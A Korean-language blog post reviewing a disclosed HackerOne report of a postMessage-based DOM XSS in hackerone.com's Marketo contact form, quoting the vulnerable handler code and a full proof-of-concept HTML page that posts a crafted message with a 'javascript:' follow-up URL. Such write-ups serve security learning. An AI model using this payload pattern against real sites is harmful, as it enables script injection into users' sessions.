postMessage XSS on HackerOne(by adac95) Review

주중에 HackerOne 리포트 뒤적뒤적 찾아보다가 postMessage를 이용한 DOM Base XSS가 있어 공유차 글 작성해봅니다.

https://hackerone.com/reports/398054

postMessage XSS?

postMessage를 이용하면 크로스 도메인간 데이터 송/수신 및 처리가 가능한데, 이 구간에서 사용자 입력에 대한 검증이 부족할 때 XSS 삽입을 할 수 있습니다. 예전에 글 작성해뒀던게 있으니 자세한 내용은 아래 링크에서 참고해주세요~ https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

postMessage XSS on HackerOne(by adac95)

adac95(Adam)은 이 취약점은 50만원정도(500$) 받았다고 하네요, 보통 XSS 버그바운티 가격선에서 받은 것 같습니다. 뭐 이건 중요한게 아니니 바로 내용을 보시죠.

우선 hackerone.com 내 contact 페이지쪽엔 Marketo forms2.js 가 있습니다. 정확한 기능은 잘 모르겠으나..(제가 분석한건 아니니)

우선 이 자바스크립트에는 PostMessage 처리 구간이 존재합니다. onMessage() 핸들러로 데이터를 전달받아서 처리하게 되는데 mktoReady가 true이면 onReady(), false이면 onResponse 가 호출됩니다.

$(window).on("message", onMessage);
function onMessage (e){
  if(e.originalEvent && e.originalEvent.data){
    var d;
    try {
      d = $.parseJSON(e.originalEvent.data);
    }catch(ex){
      return;
    }
    if(d.mktoReady){
      onReady();
    }else if(d.mktoResponse){
      onResponse(d.mktoResponse)   
    }
  }
}

onResponse에는 mktoResponse의 상태를 보고 error, success로 분기해주는 로직이 있습니다.

function onResponse(mktoResponse){
  var requestId = mktoResponse["for"];
  var request = inflight[requestId];
  if(request){
    if(mktoResponse.error){
      request.error(mktoResponse.data);
    }else{
      request.success(mktoResponse.data);
    }
  }
  delete inflight[requestId];
}

여기서 문제가 되는 부분은 success 분기 구간인데, 인자값으로 받은 데이터에서 url을 뽑아내고, 최종적으로 location.href에 들어가게 됩니다.

var success = function (data){
  if(data.error){
    onError(data);
  }else if(data.formId){
    var u = findCorrectFollowUpUrl(data);
    if(false === onSuccess(values, u)){
      return;
    }
    cookieHelper.removeCookieAllDomains("_mkto_purl");
    location.href = u;
  }
}

이 과정중에선 Js단에서 인자값에 대한 Escape 처리 등이 없었고, javascript: , data: 등의 구문이 들어오게 되며 그대로 스크립트로 실행하여 처리하게 될겁니당. 순서를 보면..

onResponse => request.success => data.err(에러 아닐 때 ) => location.href={User-Input}

PoC

결국 postMessage로 공격코드가 포함된 mktoResponse를 전달해주면 트리거됩니다.

<!DOCTYPE html>
<html>
    <head>
        <title>Hackerone PostMessage XSS</title>
    </head>
    <body>
        <p>You want to contact Hackerone! Click this button and submit the form!</p>
        <button id="openH1">Click Here</button>
        <script>
            var h1Win;

            function openWin(){
                h1Win = window.open("https://www.hackerone.com/#contact/");
                setInterval(sendMessage, 250);
            }

            function sendMessage(){
                h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
            }

            document.getElementById("openH1").addEventListener('click', openWin);
        </script>
    </body>
</html>

hackerone.com에서는 아래와 같은 포맷으로 데이터를 받았을테고, 결국 followUpUrl을 따라서 javascript 구문이 동작하게 됩니다.

{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}

https://hackerone.com/reports/398054

Conclusion

솔직히 postMessage 구간은 신경쓰지 않으면 눈에 굉장히 안들어오긴 합니다. (모든 페이지에서 postMesage가 사용되는지 체크, 검증하기엔 좀 그렇죠. 해도 ZAP/Burp Extension 등으로 해야 그나마 나을듯요)

전에 내용으로만 정리한게 실제로 나와주니 좀 반갑긴하네요.. (물론 예전 글 썼던 2016년쯤, 일하다가 한번 저걸로 찾은적이 있긴합니다. 그게 처음이자 마지막이였네요…ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ)

그나저나 전 버그바운티 하기 왜이리 귀찮을까요… 손이 안가네요

media0.giphy.com/media/NWg7M1VlT101W/giphy.gif

Reference

https://hackerone.com/reports/398054 https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html